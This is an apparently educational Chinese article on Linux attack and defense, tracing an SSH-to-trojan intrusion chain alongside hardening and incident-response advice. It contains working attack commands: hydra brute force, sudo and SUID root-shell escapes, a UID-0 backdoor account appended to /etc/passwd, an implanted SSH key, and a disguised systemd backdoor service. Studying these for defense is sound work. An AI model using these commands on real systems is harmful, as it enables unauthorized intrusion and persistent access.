1. 项目概述:一次完整的Linux攻防演练
最近在整理内部安全培训的案例库,发现很多刚接触安全运维的同事对Linux系统的攻防理解还停留在理论层面,知道SSH很重要,知道要防木马,但具体攻击者是怎么一步步进来的,拿到权限后又做了什么,防御方又该如何层层设防,缺乏一个直观的认知。所以,我决定以一个经典的、从外部渗透到内网控制的实战路径为蓝本,拆解一次完整的攻防演练。这不仅仅是给攻击者看的“教程”,更是给每一位Linux系统管理员、安全工程师的一份“体检清单”。通过模拟攻击者的视角,我们能更清晰地看到自身防御体系的薄弱点在哪里。整个过程会从最基础的SSH服务信息搜集与暴力破解开始,到利用漏洞或配置不当获取初始立足点,再到权限维持与内网渗透,最终实现一个简易木马的控制。我会把每个环节的攻击手法、对应的防御策略以及我踩过的坑都讲清楚。
2. 攻击路径全景与防御思想
在深入技术细节之前,我们必须先建立起一个宏观的攻防框架。一次成功的Linux服务器入侵,很少是单点突破,更多是沿着一条清晰的路径层层递进。典型的路径可以概括为:信息收集 -> 初始访问 -> 权限提升 -> 持久化驻留 -> 内网横向移动 -> 数据窃取/破坏。我们本次演练的核心“从SSH渗透到木马控制”,就精准地覆盖了前四个关键阶段。
为什么是SSH?因为它是Linux服务器对外的“大门”,是管理、运维的必经之路,也是暴露最广、攻击面最大的服务之一。一个配置不当的SSH服务,就像你家防盗门虚掩着还贴了张纸条写着“钥匙在脚垫下”。攻击者几乎必然会从这里尝试突破。
防御的核心思想不是堵死,而是增加攻击成本。绝对的安全不存在,我们的目标是让攻击者觉得“攻破这台服务器的代价远高于收益”。这意味着我们需要在攻击路径的每一个环节设置障碍:让信息收集变难,让暴力破解失效,让提权漏洞无法利用,让木马无处藏身。接下来的内容,我会以攻击者的手法为明线,以防御者的加固措施为暗线,双线并行,让你既能看懂攻击是怎么发生的,更要知道该如何阻止它。
3. 第一阶段:SSH服务的信息搜集与爆破
攻击始于侦察。在直接动手之前,攻击者需要尽可能多地了解目标。
3.1 端口扫描与服务识别
通常,攻击者会使用nmap这类工具进行扫描。一个基本的命令可能是:
nmap -sS -sV -p 22 <目标IP>-sS: SYN半开放扫描,相对隐蔽。-sV: 尝试识别服务版本。-p 22: 指定扫描SSH默认端口22。
攻击视角:扫描结果会返回SSH服务的版本号,例如OpenSSH 7.6p1 Ubuntu-4ubuntu0.3。这个信息至关重要。老旧的、存在已知漏洞的OpenSSH版本(如某些7.4以下版本存在的用户名枚举漏洞CVE-2018-15473)本身就是突破口。即使版本较新,攻击者也会搜索该版本是否有特定的配置弱点。
防御加固:
- 修改默认端口:这是最简单有效的“隐身”方法之一。将SSH端口从22改为一个高位端口(如 23456),可以过滤掉99%的自动化扫描脚本。在
/etc/ssh/sshd_config中修改Port指令。注意:修改端口后,务必在防火墙(如
ufw或iptables)中放行新端口,同时确保旧端口22已被关闭。另外,这并非银弹,有经验的黑客会进行全端口扫描。 - 服务版本伪装:通过修改SSH源码或使用第三方补丁,可以隐藏或混淆
sshd -V输出的版本信息,增加信息收集的难度。但这需要一定的维护成本。 - 使用端口敲门(Port Knocking):这是一种更高级的隐藏技术。只有按特定顺序访问一系列“暗号”端口后,防火墙规则才会临时打开SSH端口。这几乎可以完全杜绝随机扫描。
3.2. 用户名枚举与字典制作
知道服务版本后,攻击者需要用户名。除了利用漏洞枚举,更常见的是基于目标性质进行猜测。例如,针对企业服务器,可能会尝试admin,root,test,ubuntu,oracle,ftp等常见系统或应用用户名。针对个人VPS,则可能尝试服务商提供的默认用户名。
攻击视角:攻击者会结合社会工程学、公开信息泄露(如GitHub代码中的配置文件)来制作针对性强的用户名列表。他们会使用如hydra,medusa或patator等工具进行暴力破解。一个典型的hydra命令如下:
hydra -L userlist.txt -P passlist.txt <目标IP> ssh -s <端口号> -t 4 -vV-L: 指定用户名字典。-P: 指定密码字典。-t: 指定线程数,不宜过高以免被识别或触发锁定。-vV: 详细输出模式。
防御加固:
- 禁止root用户直接登录:这是铁律!在
sshd_config中设置PermitRootLogin no。管理员应通过普通用户登录,再使用sudo提权。 - 使用密钥认证,禁用密码登录:这是防御暴力破解最彻底的方法。在
sshd_config中设置PasswordAuthentication no和PubkeyAuthentication yes。用户需要将公钥(id_rsa.pub)上传到服务器的~/.ssh/authorized_keys文件中。实操心得:密钥对生成时,务必为私钥设置强密码(passphrase)。这样即使私钥文件泄露,攻击者也无法直接使用。
ssh-agent工具可以帮助管理带密码的密钥,避免每次输入。 - 失败登录锁定:使用
fail2ban或denyhosts这类工具。它们会监控SSH日志(/var/log/auth.log),当某个IP在短时间内失败登录次数超过阈值(如5次/10分钟),就自动将其IP加入防火墙拒绝规则一段时间(如10分钟)。# 安装fail2ban sudo apt install fail2ban # 复制SSH的jail配置 sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local # 通常默认配置已足够,可调整 bantime, findtime, maxretry - 使用强密码策略:如果因故必须保留密码登录,请通过
pam_cracklib或pam_pwquality模块强制要求密码复杂度(长度、大小写、数字、特殊字符)。
4. 第二阶段:获取初始立足点与权限提升
假设防御存在疏漏(例如,一个弱密码的普通用户账号被攻破),攻击者现在获得了一个低权限的shell。
4.1. 基础信息搜集(内部)
登录后第一件事,攻击者会像“房客”一样查看“房子”的布局。
whoami # 当前用户 id # 用户及组信息 hostname # 主机名 uname -a # 内核版本 cat /etc/issue # 系统发行版信息 df -h # 磁盘使用情况 ps aux # 查看所有进程 netstat -antp 或 ss -lntp # 查看网络连接和监听端口 sudo -l # **关键!** 检查当前用户能以sudo方式运行哪些命令sudo -l的输出是提权的黄金线索。如果返回类似(ALL : ALL) ALL或(root) NOPASSWD: /usr/bin/vim这样的内容,意味着提权机会大增。
防御加固:
- 遵循最小权限原则:给用户和程序分配刚好够用的权限。定期审计
sudo权限(/etc/sudoers文件),移除不必要的ALL权限。对于需要特定命令的运维人员,精确授权,如username ALL=(root) NOPASSWD: /usr/bin/systemctl restart nginx。 - 定期更新系统:
uname -a暴露的内核版本信息,如果存在已知的本地提权漏洞(如Dirty Pipe, Dirty Cow),攻击者会立刻利用。务必保持系统更新:sudo apt update && sudo apt upgrade(Debian/Ubuntu) 或sudo yum update(RHEL/CentOS)。
4.2. 利用sudo配置不当提权
这是最常见的提权方式之一。假设sudo -l显示用户可以以root身份无需密码运行/usr/bin/find。
sudo find /home -exec /bin/bash \;或者利用某些版本的find的-exec参数直接获取root shell。其他常见危险命令还有:
- vim/vi:
sudo vim -c '!bash' - less/more:
sudo less /etc/shadow,然后输入!bash - awk:
sudo awk 'BEGIN {system("/bin/bash")}' - python/perl:
sudo python -c 'import os; os.system("/bin/bash")'
防御加固:如前所述,精细化配置sudoers。避免给普通用户NOPASSWD标签,尤其是对文本编辑器、解释器这类可以执行系统命令的工具。
4.3. 利用SUID/GUID二进制文件提权
SUID(Set User ID)位设置的文件,在执行时将以文件所有者的权限运行。如果某个属于root且具有SUID位的程序存在漏洞或配置不当,就可能被利用。
# 查找具有SUID位的文件 find / -perm -u=s -type f 2>/dev/null常见的危险SUID程序包括nmap(旧版本的交互模式)、vim、bash(某些版本)、cp、find等。例如,旧版nmap可以用--interactive模式提权:
nmap --interactive nmap> !sh防御加固:
- 定期审计:使用上述命令定期检查系统中的SUID/SGID文件,移除非必要的设置。例如,
find命令通常不需要SUID位。 - 使用扩展属性:对于关键目录(如
/usr/bin,/bin),可以设置不可修改属性(使用chattr +i命令),但这会影响正常的软件更新,需谨慎使用。
5. 第三阶段:持久化后门与木马控制
获得root权限后,攻击者不会满足于一次性的访问。他们会安装后门,确保即使漏洞被修复、密码被更改,也能随时回来。
5.1. 创建隐藏后门账户
最直接的方法是在/etc/passwd和/etc/shadow中添加一个具有root权限的隐藏用户。
# 生成一个密码为“evilpassword”的密文 openssl passwd -1 -salt xyz evilpassword # 输出类似:$1$xyz$U2WwHhGzpX2pQeOLbw.Hc1 # 在/etc/passwd末尾添加一行 echo "backdoor:\$1\$xyz\$U2WwHhGzpX2pQeOLbw.Hc1:0:0:root:/root:/bin/bash" >> /etc/passwd这样,用户backdoor的UID和GID都是0(root),密码是evilpassword,且家目录是/root。
防御加固:
- 监控关键文件:使用
aide或tripwire等主机入侵检测系统(HIDS),对/etc/passwd,/etc/shadow,/etc/group等文件建立完整性校验基线,任何更改都会触发告警。 - 定期审计用户列表:定期检查
/etc/passwd文件,关注UID为0的用户(除了root不应有其他),以及异常的shell或家目录。命令:awk -F: '$3==0 {print $1}' /etc/passwd。 - 使用集中认证:对于企业环境,使用LDAP、Kerberos等集中认证方式,本地不管理用户,从根本上杜绝添加隐藏后门账户。
5.2. 安装SSH后门密钥
更隐蔽的方式是在root或授权用户的~/.ssh/authorized_keys文件中插入攻击者的公钥。
echo "ssh-rsa AAAAB3NzaC1yc2E...攻击者的公钥..." >> /root/.ssh/authorized_keys这样,攻击者无需密码,直接用对应的私钥即可登录。
防御加固:
- 严格管理authorized_keys文件:该文件的权限应为
600(-rw-------),属主是相应用户。定期审查该文件内容,确保没有陌生的公钥。 - 使用强制命令(ForceCommand)限制:在
authorized_keys中,可以在公钥前添加选项,限制该密钥能执行的命令。例如:
这会将使用此密钥的会话限制在一个受限的bash中,并禁用很多功能。command="/usr/bin/rbash",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-rsa AAAAB3Nza...
5.3. 部署进程守护型木马
这是更高级的持久化手段。攻击者会上传一个自编译的、功能丰富的后门程序(木马),并配置成系统服务。
- 木马本身:可能是一个用C/Python/Go编写的反向Shell连接器,定期向攻击者的C2(命令与控制)服务器发起连接,等待指令。
- 部署为系统服务:在
/etc/systemd/system/下创建一个伪装的服务文件,例如systemd-backdoor.service:
然后启用并启动它:[Unit] Description=A harmless system service [Service] Type=simple ExecStart=/usr/bin/.hidden_backdoor Restart=always RestartSec=10 User=root [Install] WantedBy=multi-user.targetsystemctl enable --now systemd-backdoor.service。 - 隐藏技巧:木马文件可能被命名为以
.开头的隐藏文件,放在不常见的目录。使用chattr +i防止被删除,甚至替换掉常用的系统命令(如ps,netstat,ls)来隐藏自身进程和文件。
防御加固:
- 进程与网络连接监控:使用
ps auxf查看进程树,关注异常父进程(如由systemd直接启动的未知进程)。使用netstat -antp或ss -lntp查看异常的外联IP和端口。企业级环境应部署EDR(端点检测与响应)或具有行为分析能力的HIDS。 - 文件完整性监控:同样是HIDS的核心功能。监控
/bin,/sbin,/usr/bin等系统目录的文件变化,以及/etc/systemd/system/等关键配置目录。 - 限制外联:通过防火墙策略,严格限制服务器主动向外发起的连接,只允许访问必要的更新源、数据库、API等。这能有效阻断反向Shell连接C2服务器。
- 使用可信的软件源:只从官方或可信的仓库安装软件,避免下载来历不明的二进制文件。
6. 第四阶段:防御体系构建与应急响应
了解了攻击链条,我们就可以系统地构建防御体系。防御是分层的,就像一座城堡,有外墙、护城河、内墙和卫兵。
6.1. 事前预防:基线安全加固
这是最有效的一环,防患于未然。
- SSH加固:综合前面所述,总结清单:
- 修改默认端口。
- 禁用root直接登录。
- 强制使用密钥认证,禁用密码登录。
- 部署
fail2ban。 - 使用强密码策略(如果必须)。
- 限制可登录的用户和IP(
sshd_config中的AllowUsers和AllowGroups)。
- 系统加固:
- 保持系统和软件最新。
- 移除或停止不必要的服务(
systemctl list-unit-files --type=service查看)。 - 配置严格的防火墙(
ufw或iptables),遵循最小开放原则。 - 安装并配置入侵检测系统,如
aide:sudo aideinit生成初始数据库,定期运行sudo aide --check进行比对。 - 启用审计日志(
auditd),记录关键文件访问和系统调用。
6.2. 事中检测:实时监控与告警
攻击可能绕过部分预防措施,因此实时监控至关重要。
- 日志集中分析:不要只盯着本机日志。使用
rsyslog或syslog-ng将服务器日志集中发送到安全的日志服务器(SIEM),如 ELK Stack(Elasticsearch, Logstash, Kibana)或 Graylog。在SIEM中设置告警规则,例如:- 同一IP短时间内大量SSH失败登录。
- 非工作时间段的成功登录。
/etc/passwd文件被修改。- 系统中出现了新的SUID文件。
- 异常的进程启动或网络外联。
- 网络流量分析:在网关或核心交换机部署IDS/IPS(入侵检测/防御系统),如 Suricata 或 Zeek,检测网络层攻击流量和C2通信的异常模式。
6.3. 事后响应:入侵事件处置流程
一旦检测到入侵迹象,必须冷静、有序地响应。
- 隔离:立即将受影响主机从网络中断开(拔网线或防火墙隔离),防止横向扩散。
- 取证:在隔离环境下进行取证。切忌直接在受害主机上“排查”时使用可能被篡改的命令(如
ps,netstat,ls)。- 使用静态的、可信的应急响应工具包(如从干净U盘启动的Linux发行版挂载硬盘检查)。
- 镜像磁盘:使用
dd或dcfldd对硬盘进行完整镜像,以备后续深入分析和法律证据。 - 提取易失性数据:在关机前,如果可能,使用可信工具记录内存信息(
LiME)、当前网络连接、进程列表等。
- 根因分析:分析日志、后门文件、时间线,确定入侵的初始入口(是SSH弱密码?还是Web应用漏洞?)、攻击者使用的具体手法、植入的后门类型、访问了哪些数据。
- 恢复与重建:
- 不推荐:单纯删除后门和“修复”系统。攻击者可能留有多个后门,系统已不可信。
- 推荐:从干净的镜像或备份中重建系统。在重建前,必须修复导致入侵的根本原因(如修补漏洞、修改弱密码、调整错误配置)。
- 恢复业务数据时,确保数据本身未被篡改或植入恶意代码。
- 复盘与加固:召开复盘会议,更新安全策略、加固基线,并加强相关人员的安全意识培训。
7. 实战演练环境搭建与法律边界
为了安全地学习和验证上述技术,必须在完全受控的合法环境中进行。
7.1. 搭建本地靶场
我强烈建议使用虚拟机搭建一个封闭的实验室环境。
- 软件选择:VirtualBox 或 VMware Workstation Player(免费)。
- 靶机:下载 Metasploitable 2/3、DVWA、VulnHub 上的各种漏洞虚拟机。它们被故意设计成存在多种漏洞,是完美的练习目标。
- 攻击机:安装 Kali Linux 或 Parrot Security OS。它们预装了渗透测试所需的绝大多数工具。
- 网络配置:将靶机和攻击机的网络模式都设置为“Host-Only”或“NAT网络”(创建一个独立的虚拟网络),确保实验流量不会外泄到真实网络。
7.2. 绝对遵守的法律与道德准则
这是红线,不容丝毫逾越。
- 只攻击你拥有完全所有权和控制权的资产。这包括你自己购买的云服务器、本地虚拟机、以及获得明确书面授权的测试目标(如公司内部的渗透测试授权书)。
- 永远不要对互联网上的任何未授权系统进行扫描、探测或攻击。这不仅是非法的,而且可能触犯严厉的法律。
- 渗透测试必须获得授权。在企业环境中进行安全测试,必须持有由管理层或系统所有者签发的、范围清晰的授权书(Penetration Testing Authorization)。
- 技术是把双刃剑。我们学习攻防技术,目的是为了更好地防御。守住道德和法律底线,是每一位安全从业者的立身之本。
8. 工具与命令速查及避坑指南
最后,分享一些我在实战和教学中总结的工具使用心得和常见问题。
8.1. 高效信息收集命令组合
除了单条命令,组合使用效率更高:
# 一键获取系统基础信息 echo "===用户与组==="; whoami; id; echo "===系统信息==="; uname -a; cat /etc/os-release; echo "===网络信息==="; ip addr show; ss -lntp; echo "===进程TOP10==="; ps aux --sort=-%cpu | head -11; echo "===SUID文件==="; find / -perm -u=s -type f 2>/dev/null | head -20将这条命令保存为脚本,在获取shell后快速执行。
8.2. 防御工具配置踩坑点
- fail2ban不生效:首先检查日志路径是否正确。不同发行版的SSH日志路径可能不同(
/var/log/auth.log或/var/log/secure)。检查jail.local中[sshd]部分的logpath配置。其次,检查防火墙规则是否被正确添加,可以用iptables -L -n或ufw status查看。 - 密钥登录失败:99%的问题出在权限上。确保服务器上
~/.ssh目录权限为700,authorized_keys文件权限为600,并且文件内容格式正确(一行一个公钥,没有多余空格)。 - sudoers文件语法错误导致所有sudo命令失效:编辑
sudoers文件必须使用visudo命令,它会进行语法检查,防止配置错误导致系统无法使用sudo。直接编辑/etc/sudoers是极其危险的操作。
8.3. 入侵排查的“三板斧”
当怀疑服务器被入侵时,不要慌,按顺序检查:
- 查用户:
cat /etc/passwd看有无新增可疑用户;last和lastb查看登录历史。 - 查进程:使用
ps auxf或top查看异常进程(高CPU/内存、奇怪路径、奇怪父进程)。可以尝试用/bin/ps指定路径来避免被篡改的命令干扰。 - 查网络:
netstat -antp或ss -lntp查看异常监听端口和外部连接。特别关注连接到非常见IP或端口的进程。 - 查文件:查找近期被修改的关键文件:
find /etc -type f -mtime -2(查找/etc下2天内修改的文件)。查找隐藏的、可疑的可执行文件:find / -name ".*" -type f -executable 2>/dev/null。
8.4. 关于“万能木马”的误区
网上流传着各种“一行命令下载执行”的木马脚本。在真实攻防中,这种“通用”木马极易被现代杀毒软件或HIDS基于行为或特征码检测到。高水平的攻击者会使用定制化、混淆、甚至无文件落地的内存马技术。作为防御方,我们不能依赖某个单一工具能发现所有木马,必须依靠纵深防御和行为分析。例如,一个正常的Web服务器进程突然去连接一个海外的IP地址并尝试下载文件,这个行为本身就足够触发告警。
攻防是一场持续的动态博弈。攻击技术在进化,防御理念和工具也在迭代。作为防御者,最重要的不是掌握所有攻击工具,而是深刻理解攻击者的思维模式和攻击路径,从而构建起贴合自身业务、能够层层设防、快速响应的安全体系。保持学习,保持警惕,安全运维之路才能走得稳当。